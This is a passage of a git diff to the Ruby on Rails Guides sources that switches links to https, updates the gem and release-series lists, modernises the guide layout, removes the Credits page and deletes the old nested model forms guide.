-Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n)!)
+Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](https://groups.google.com/forum/#!forum/rails-i18n)!)
-If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://help.github.com/articles/about-pull-requests/).
+If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data, and send a [pull request](https://help.github.com/articles/about-pull-requests/).
Resources
---------
-* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
+* [Google group: rails-i18n](https://groups.google.com/forum/#!forum/rails-i18n) - The project's mailing list.
* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n) - Code repository and issue tracker for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
* [GitHub: i18n](https://github.com/svenfuchs/i18n) - Code repository and issue tracker for the i18n gem.
@@ -1183,7 +1210,7 @@ Authors
Footnotes
---------
-[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](https://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
index 2fdf18a2e9..76f01fea0a 100644
--- a/guides/source/index.html.erb
+++ b/guides/source/index.html.erb
@@ -10,7 +10,9 @@ Ruby on Rails Guides
<div id="subCol">
<dl>
<dt></dt>
- <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
+ <% unless @edge -%>
+ <dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
+ <% end -%>
<dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
</dl>
</div>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index 3ea156c6fe..c41eae18cf 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
The Rails Initialization Process
================================
@@ -45,7 +45,7 @@ load Gem.bin_path('railties', 'rails', version)
```
If you try out this command in a Rails console, you would see that this loads
-`railties/exe/rails`. A part of the file `railties/exe/rails.rb` has the
+`railties/exe/rails`. A part of the file `railties/exe/rails` has the
following code:
```ruby
@@ -93,29 +93,29 @@ require 'bundler/setup' # Set up gems listed in the Gemfile.
In a standard Rails application, there's a `Gemfile` which declares all
dependencies of the application. `config/boot.rb` sets
-`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
+`ENV['BUNDLE_GEMFILE']` to the location of this file. If the `Gemfile`
exists, then `bundler/setup` is required. The require is used by Bundler to
configure the load path for your Gemfile's dependencies.
A standard Rails application depends on several gems, specifically:
+* actioncable
* actionmailer
* actionpack
* actionview
+* activejob
* activemodel
* activerecord
+* activestorage
* activesupport
-* activejob
* arel
* builder
* bundler
-* erubis
+* erubi
* i18n
* mail
* mime-types
* rack
-* rack-cache
-* rack-mount
* rack-test
* rails
* railties
@@ -131,7 +131,7 @@ Once `config/boot.rb` has finished, the next file that is required is
`ARGV` array simply contains `server` which will be passed over:
```ruby
-require "rails/command"
+require_relative "command"
aliases = {
"g" => "generate",
@@ -155,7 +155,7 @@ defined here to find the matching command.
### `rails/command.rb`
When one types a Rails command, `invoke` tries to lookup a command for the given
-namespace and executing the command if found.
+namespace and executes the command if found.
If Rails doesn't recognize the command, it hands the reins over to Rake
to run a task of the same name.
@@ -170,7 +170,7 @@ module Rails::Command
namespace = namespace.to_s
namespace = "help" if namespace.blank? || HELP_MAPPINGS.include?(namespace)
namespace = "version" if %w( -v --version ).include? namespace
-
+
if command = find_by_namespace(namespace)
command.perform(namespace, args, config)
else
@@ -189,7 +189,7 @@ module Rails
class ServerCommand < Base # :nodoc:
def perform
set_application_directory!
-
+
Rails::Server.new.tap do |server|
# Require application after server sets environment to propagate
# the --environment option.
@@ -311,7 +311,7 @@ def parse!(args)
args, options = args.dup, {}
option_parser(options).parse! args
-
+
options[:log_stdout] = options[:daemonize].blank? && (options[:environment] || Rails.env) == "development"
options[:server] = args.shift
options
@@ -366,11 +366,11 @@ private
def log_to_stdout
wrapped_app # touch the app so the logger is set up
-
+
console = ActiveSupport::Logger.new(STDOUT)
console.formatter = Rails.logger.formatter
console.level = Rails.logger.level
-
+
unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
end
@@ -532,6 +532,7 @@ require "rails"
%w(
active_record/railtie
+ active_storage/engine
action_controller/railtie
action_view/railtie
action_mailer/railtie
diff --git a/guides/source/kindle/rails_guides.opf.erb b/guides/source/kindle/rails_guides.opf.erb
index 63eeb007d7..1882ec1005 100644
--- a/guides/source/kindle/rails_guides.opf.erb
+++ b/guides/source/kindle/rails_guides.opf.erb
@@ -26,7 +26,7 @@
<item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" />
<% end %>
- <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %>
+ <% %w{toc.html welcome.html copyright.html}.each do |url| %>
<item id="<%= url %>" media-type="text/html" href="<%= url %>" />
<% end %>
@@ -38,7 +38,6 @@
<spine toc="toc">
<itemref idref="toc.html" />
<itemref idref="welcome.html" />
- <itemref idref="credits.html" />
<itemref idref="copyright.html" />
<% documents_flat.each do |document| %>
<itemref idref="<%= document['url'] %>" />
diff --git a/guides/source/kindle/toc.html.erb b/guides/source/kindle/toc.html.erb
index f310edd3a1..b77ac2e99d 100644
--- a/guides/source/kindle/toc.html.erb
+++ b/guides/source/kindle/toc.html.erb
@@ -14,11 +14,10 @@ Ruby on Rails Guides
<% if document['work_in_progress']%>(WIP)<% end %>
</li>
<% end %>
- </ul>
+ </ul>
<% end %>
<hr />
<ul>
- <li><a href="credits.html">Credits</a></li>
<li><a href="copyright.html">Copyright &amp; License</a></li>
</ul>
</div>
diff --git a/guides/source/kindle/toc.ncx.erb b/guides/source/kindle/toc.ncx.erb
index 5094fea4ca..9b73bc9bea 100644
--- a/guides/source/kindle/toc.ncx.erb
+++ b/guides/source/kindle/toc.ncx.erb
@@ -30,10 +30,6 @@
</navLabel>
<content src="welcome.html"/>
</navPoint>
- <navPoint class="article" id="credits" playOrder="3">
- <navLabel><text>Credits</text></navLabel>
- <content src="credits.html"/>
- </navPoint>
<navPoint class="article" id="copyright" playOrder="4">
<navLabel><text>Copyright &amp; License</text></navLabel>
<content src="copyright.html"/>
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
index bb50761b30..dd9175e312 100644
--- a/guides/source/layout.html.erb
+++ b/guides/source/layout.html.erb
@@ -1,20 +1,19 @@
<!DOCTYPE html>
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<html lang="en">
<head>
-<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<meta name="viewport" content="width=device-width, initial-scale=1"/>
-
-<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
-<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
-<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
-
-<link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" />
-
-<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+ <meta charset="utf-8">
+ <meta name="viewport" content="width=device-width, initial-scale=1">
+ <title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
+ <link rel="stylesheet" type="text/css" href="stylesheets/style.css" data-turbolinks-track="reload">
+ <link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print">
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" data-turbolinks-track="reload">
+ <link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" data-turbolinks-track="reload">
+ <link rel="stylesheet" type="text/css" href="stylesheets/fixes.css" data-turbolinks-track="reload">
+ <link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon" />
+ <script src="javascripts/syntaxhighlighter.js" data-turbolinks-track="reload"></script>
+ <script src="javascripts/turbolinks.js" data-turbolinks-track="reload"></script>
+ <script src="javascripts/guides.js" data-turbolinks-track="reload"></script>
+ <script src="javascripts/responsive-tables.js" data-turbolinks-track="reload"></script>
</head>
<body class="guide">
<% if @edge %>
@@ -29,10 +28,10 @@
More Ruby on Rails
</span>
<ul class="more-info-links s-hidden">
- <li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
- <li class="more-info"><a href="http://guides.rubyonrails.org/">Guides</a></li>
+ <li class="more-info"><a href="https://weblog.rubyonrails.org/">Blog</a></li>
+ <li class="more-info"><a href="https://guides.rubyonrails.org/">Guides</a></li>
<li class="more-info"><a href="http://api.rubyonrails.org/">API</a></li>
- <li class="more-info"><a href="http://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li>
+ <li class="more-info"><a href="https://stackoverflow.com/questions/tagged/ruby-on-rails">Ask for help</a></li>
<li class="more-info"><a href="https://github.com/rails/rails">Contribute on GitHub</a></li>
</ul>
</div>
@@ -59,7 +58,6 @@
</div>
</li>
<li><a class="nav-item" href="contributing_to_ruby_on_rails.html">Contribute</a></li>
- <li><a class="nav-item" href="credits.html">Credits</a></li>
<li class="guides-index guides-index-small">
<select class="guides-index-item nav-item">
<option value="index.html">Guides Index</option>
@@ -96,12 +94,12 @@
</p>
<p>
Please contribute if you see any typos or factual errors.
- To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
+ To get started, you can read our <%= link_to 'documentation contributions', 'https://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
</p>
<p>
- You may also find incomplete content, or stuff that is not up to date.
+ You may also find incomplete content or stuff that is not up to date.
Please do add any missing documentation for master. Make sure to check
- <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
+ <%= link_to 'Edge Guides', 'https://edgeguides.rubyonrails.org' %> first to verify
if the issues are already fixed or not on the master branch.
Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
for style and conventions.
@@ -111,7 +109,7 @@
<%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
</p>
<p>And last but not least, any kind of discussion regarding Ruby on Rails
- documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>.
+ documentation is very welcome on the <%= link_to 'rubyonrails-docs mailing list', 'https://groups.google.com/forum/#!forum/rubyonrails-docs' %>.
</p>
</div>
</div>
@@ -123,16 +121,5 @@
<%= render 'license' %>
</div>
</div>
-
- <script type="text/javascript" src="javascripts/jquery.min.js"></script>
- <script type="text/javascript" src="javascripts/responsive-tables.js"></script>
- <script type="text/javascript" src="javascripts/guides.js"></script>
- <script type="text/javascript" src="javascripts/syntaxhighlighter.js"></script>
- <script type="text/javascript">
- syntaxhighlighterConfig = {
- autoLinks: false,
- };
- $(guidesIndex.bind);
- </script>
</body>
</html>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index 48bb3147f3..00da65b784 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Layouts and Rendering in Rails
==============================
@@ -71,23 +71,25 @@ If we want to display the properties of all the books in our view, we can do so
<h1>Listing Books</h1>
<table>
- <tr>
- <th>Title</th>
- <th>Summary</th>
- <th></th>
- <th></th>
- <th></th>
- </tr>
-
-<% @books.each do |book| %>
- <tr>
- <td><%= book.title %></td>
- <td><%= book.content %></td>
- <td><%= link_to "Show", book %></td>
- <td><%= link_to "Edit", edit_book_path(book) %></td>
- <td><%= link_to "Remove", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
- </tr>
-<% end %>
+ <thead>
+ <tr>
+ <th>Title</th>
+ <th>Content</th>
+ <th colspan="3"></th>
+ </tr>
+ </thead>
+
+ <tbody>
+ <% @books.each do |book| %>
+ <tr>
+ <td><%= book.title %></td>
+ <td><%= book.content %></td>
+ <td><%= link_to "Show", book %></td>
+ <td><%= link_to "Edit", edit_book_path(book) %></td>
+ <td><%= link_to "Destroy", book, method: :delete, data: { confirm: "Are you sure?" } %></td>
+ </tr>
+ <% end %>
+ </tbody>
</table>
<br>
@@ -95,7 +97,7 @@ If we want to display the properties of all the books in our view, we can do so
<%= link_to "New book", new_book_path %>
```
-NOTE: The actual rendering is done by subclasses of `ActionView::TemplateHandlers`. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are `.erb` for ERB (HTML with embedded Ruby), and `.builder` for Builder (XML generator).
+NOTE: The actual rendering is done by nested classes of the module [`ActionView::Template::Handlers`](http://api.rubyonrails.org/classes/ActionView/Template/Handlers.html). This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler.
### Using `render`
@@ -168,7 +170,7 @@ render a file, because Windows filenames do not have the same format as Unix fil
#### Wrapping it up
-The above three ways of rendering (rendering another template within the controller, rendering a template within another controller and rendering an arbitrary file on the file system) are actually variants of the same action.
+The above three ways of rendering (rendering another template within the controller, rendering a template within another controller, and rendering an arbitrary file on the file system) are actually variants of the same action.
In fact, in the BooksController class, inside of the update action where we want to render the edit template if the book does not update successfully, all of the following render calls would all render the `edit.html.erb` template in the `views/books` directory:
@@ -221,7 +223,7 @@ service requests that are expecting something other than proper HTML.
NOTE: By default, if you use the `:plain` option, the text is rendered without
using the current layout. If you want Rails to put the text into the current
-layout, you need to add the `layout: true` option and use the `.txt.erb`
+layout, you need to add the `layout: true` option and use the `.text.erb`
extension for the layout file.
#### Rendering HTML
@@ -230,14 +232,14 @@ You can send an HTML string back to the browser by using the `:html` option to
`render`:
```ruby
-render html: "<strong>Not Found</strong>".html_safe
+render html: helpers.tag.strong('Not Found')
```
TIP: This is useful when you're rendering a small snippet of HTML code.
However, you might want to consider moving it to a template file if the markup
is complex.
-NOTE: When using `html:` option, HTML entities will be escaped if the string is not marked as HTML safe by using `html_safe` method.
+NOTE: When using `html:` option, HTML entities will be escaped if the string is not composed with `html_safe`-aware APIs.
#### Rendering JSON
@@ -283,7 +285,7 @@ the response. Using `:plain` or `:html` might be more appropriate most of the
time.
NOTE: Unless overridden, your response returned from this render option will be
-`text/html`, as that is the default content type of Action Dispatch response.
+`text/plain`, as that is the default content type of Action Dispatch response.
#### Options for `render`
@@ -379,6 +381,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
| | 415 | :unsupported_media_type |
| | 416 | :range_not_satisfiable |
| | 417 | :expectation_failed |
+| | 421 | :misdirected_request |
| | 422 | :unprocessable_entity |
| | 423 | :locked |
| | 424 | :failed_dependency |
@@ -386,6 +389,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
| | 428 | :precondition_required |
| | 429 | :too_many_requests |
| | 431 | :request_header_fields_too_large |
+| | 451 | :unavailable_for_legal_reasons |
| **Server Error** | 500 | :internal_server_error |
| | 501 | :not_implemented |
| | 502 | :bad_gateway |
@@ -399,7 +403,7 @@ Rails understands both numeric status codes and the corresponding symbols shown
| | 511 | :network_authentication_required |
NOTE: If you try to render content along with a non-content status code
-(100-199, 204, 205 or 304), it will be dropped from the response.
+(100-199, 204, 205, or 304), it will be dropped from the response.
##### The `:formats` Option
@@ -768,7 +772,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
#### Linking to Feeds with the `auto_discovery_link_tag`
-The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (`:rss`, `:atom`, or `:json`), a hash of options that are passed through to url_for, and a hash of options for the tag:
```erb
<%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -1171,7 +1175,7 @@ To pass a local variable to a partial in only specific cases use the `local_assi
This way it is possible to use the partial without the need to declare all local variables.
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the `:object` option:
+Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the `:object` option:
```erb
<%= render partial: "customer", object: @new_customer %>
@@ -1206,7 +1210,7 @@ Partials are very useful in rendering collections. When you pass a collection to
When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
-There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+There is also a shorthand for this. Assuming `@products` is a collection of `Product` instances, you can simply write this in the `index.html.erb` to produce the same result:
```html+erb
<h1>Products</h1>
@@ -1262,7 +1266,7 @@ You can also pass in arbitrary local variables to any partial you are rendering
In this case, the partial will have access to a local variable `title` with the value "Products Page".
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the title of the partial followed by `_counter`. For example, when rendering a collection `@products` the partial `_product.html.erb` can access the variable `product_counter` which indexes the number of times it has been rendered within the enclosing view.
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
index 7ced3eab1c..b14b7a2c90 100644
--- a/guides/source/maintenance_policy.md
+++ b/guides/source/maintenance_policy.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Maintenance Policy for Ruby on Rails
====================================
@@ -44,7 +44,7 @@ from.
In special situations, where someone from the Core Team agrees to support more series,
they are included in the list of supported series.
-**Currently included series:** `5.0.Z`, `4.2.Z`.
+**Currently included series:** `5.2.Z`.
Security Issues
---------------
@@ -59,16 +59,16 @@ be built from 1.2.2, and then added to the end of 1-2-stable. This means that
security releases are easy to upgrade to if you're running the latest version
of Rails.
-**Currently included series:** `5.0.Z`, `4.2.Z`.
+**Currently included series:** `5.2.Z`, `5.1.Z`.
Severe Security Issues
----------------------
-For severe security issues we will provide new versions as above, and also the
+For severe security issues all releases in the current major series, and also the
last major release series will receive patches and new versions. The
classification of the security issue is judged by the core team.
-**Currently included series:** `5.0.Z`, `4.2.Z`.
+**Currently included series:** `5.2.Z`, `5.1.Z`, `5.0.Z`, `4.2.Z`.
Unsupported Release Series
--------------------------
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
deleted file mode 100644
index 71efa4b0d0..0000000000
--- a/guides/source/nested_model_forms.md
+++ /dev/null
@@ -1,230 +0,0 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
-
-Rails Nested Model Forms
-========================
-
-Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
-
-After reading this guide, you will know:
-
-* do stuff.
-
---------------------------------------------------------------------------------
-
-NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
-
-
-Model setup
------------
-
-To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
-
-First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be built.
-
-If the associated object is an array, a form builder will be yielded for each object, else only a single form builder will be yielded.
-
-Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
-
-### ActiveRecord::Base model
-
-For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
-
-#### has_one
-
-```ruby
-class Person < ApplicationRecord
- has_one :address
- accepts_nested_attributes_for :address
-end
-```
-
-#### belongs_to
-
-```ruby
-class Person < ApplicationRecord
- belongs_to :firm
- accepts_nested_attributes_for :firm
-end
-```
-
-#### has_many / has_and_belongs_to_many
-
-```ruby
-class Person < ApplicationRecord
- has_many :projects
- accepts_nested_attributes_for :projects
-end
-```
-
-NOTE: For greater detail on associations see [Active Record Associations](association_basics.html).
-For a complete reference on associations please visit the API documentation for [ActiveRecord::Associations::ClassMethods](http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html).
-
-### Custom model
-
-As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
-
-#### Single associated object
-
-```ruby
-class Person
- def address
- Address.new
- end
-
- def address_attributes=(attributes)
- # ...
- end
-end
-```
-
-#### Association collection
-
-```ruby
-class Person
- def projects
- [Project.new, Project.new]
- end
-
- def projects_attributes=(attributes)
- # ...
- end
-end
-```
-
-NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
-
-Views
------
-
-### Controller code
-
-A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
-
-Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
-
-```ruby
-class PeopleController < ApplicationController
- def new
- @person = Person.new
- @person.build_address
- 2.times { @person.projects.build }
- end
-
- def create
- @person = Person.new(params[:person])
- if @person.save
- # ...
- end
- end
-end
-```
-
-NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
-
-### Form code
-
-Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
-
-#### Standard form
-
-Start out with a regular RESTful form:
-
-```erb
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-<% end %>
-```
-
-This will generate the following html:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" type="text" />
-</form>
-```
-
-#### Nested form for a single associated object
-
-Now add a nested form for the `address` association:
-
-```erb
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-
- <%= f.fields_for :address do |af| %>
- <%= af.text_field :street %>
- <% end %>
-<% end %>
-```
-
-This generates:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" type="text" />
-
- <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
-</form>
-```
-
-Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
-
-When this form is posted the Rails parameter parser will construct a hash like the following:
-
-```ruby
-{
- "person" => {
- "name" => "Eloy Duran",
- "address_attributes" => {
- "street" => "Nieuwe Prinsengracht"
- }
- }
-}
-```
-
-That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
-
-#### Nested form for a collection of associated objects
-
-The form code for an association collection is pretty similar to that of a single associated object:
-
-```erb
-<%= form_for @person do |f| %>
- <%= f.text_field :name %>
-
- <%= f.fields_for :projects do |pf| %>
- <%= pf.text_field :name %>
- <% end %>
-<% end %>
-```
-
-Which generates:
-
-```html
-<form action="/people" class="new_person" id="new_person" method="post">
- <input id="person_name" name="person[name]" type="text" />
-
- <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
- <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
-</form>
-```
-
-As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
-
-```ruby
-{
- "person" => {
- "name" => "Eloy Duran",
- "projects_attributes" => {
- "0" => { "name" => "Project 1" },
- "1" => { "name" => "Project 2" }
- }
- }
-}
-```
-
-You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
-
-NOTE: The reason that `fields_for` constructed a hash instead of an array is that it won't work for any form nested deeper than one level deep.
-
-TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
index 760ff431c0..7c9784dfe3 100644
--- a/guides/source/plugins.md
+++ b/guides/source/plugins.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
The Basics of Creating Rails Plugins
====================================
@@ -74,7 +74,7 @@ In this example you will add a method to String named `to_squawk`. To begin, cre
```ruby
# yaffle/test/core_ext_test.rb
-require 'test_helper'
+require "test_helper"
class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
@@ -104,14 +104,16 @@ Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
Great - now you are ready to start development.
-In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
+In `lib/yaffle.rb`, add `require "yaffle/core_ext"`:
```ruby
# yaffle/lib/yaffle.rb
-require 'yaffle/core_ext'
+require "yaffle/railtie"
+require "yaffle/core_ext"
module Yaffle
+ # Your code goes here...
end
```
@@ -120,7 +122,7 @@ Finally, create the `core_ext.rb` file and add the `to_squawk` method:
```ruby
# yaffle/lib/yaffle/core_ext.rb
-String.class_eval do
+class String
def to_squawk
"squawk! #{self}".strip
end
@@ -133,10 +135,10 @@ To test that your method does what it says it does, run the unit tests with `bin
2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
```
-To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+To see this in action, change to the `test/dummy` directory, fire up a console, and start squawking:
```bash
-$ bin/rails console
+$ rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"
```
@@ -152,7 +154,7 @@ To begin, set up your files so that you have:
```ruby
# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
+require "test_helper"
class ActsAsYaffleTest < ActiveSupport::TestCase
end
@@ -161,10 +163,12 @@ end
```ruby
# yaffle/lib/yaffle.rb
-require 'yaffle/core_ext'
-require 'yaffle/acts_as_yaffle'
+require "yaffle/railtie"
+require "yaffle/core_ext"
+require "yaffle/acts_as_yaffle"
module Yaffle
+ # Your code goes here...
end
```
@@ -173,7 +177,6 @@ end
module Yaffle
module ActsAsYaffle
- # your code will go here
end
end
```
@@ -189,7 +192,7 @@ To start out, write a failing test that shows the behavior you'd like:
```ruby
# yaffle/test/acts_as_yaffle_test.rb
-require 'test_helper'
+require "test_helper"
class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
@@ -234,12 +237,12 @@ Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.
This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
We can easily generate these models in our "dummy" Rails application by running the following commands from the
-test/dummy directory:
+`test/dummy` directory:
```bash
$ cd test/dummy
-$ bin/rails generate model Hickwall last_squawk:string
-$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+$ rails generate model Hickwall last_squawk:string
+$ rails generate model Wickwall last_squawk:string last_tweet:string
```
Now you can create the necessary database tables in your testing database by navigating to your dummy app
@@ -247,7 +250,7 @@ and migrating the database. First, run:
```bash
$ cd test/dummy
-$ bin/rails db:migrate
+$ rails db:migrate
```
While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
@@ -276,12 +279,8 @@ module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
- included do
- end
-
- module ClassMethods
+ class_methods do
def acts_as_yaffle(options = {})
- # your code will go here
end
end
end
@@ -335,13 +334,9 @@ module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern
- included do
- end
-
- module ClassMethods
+ class_methods do
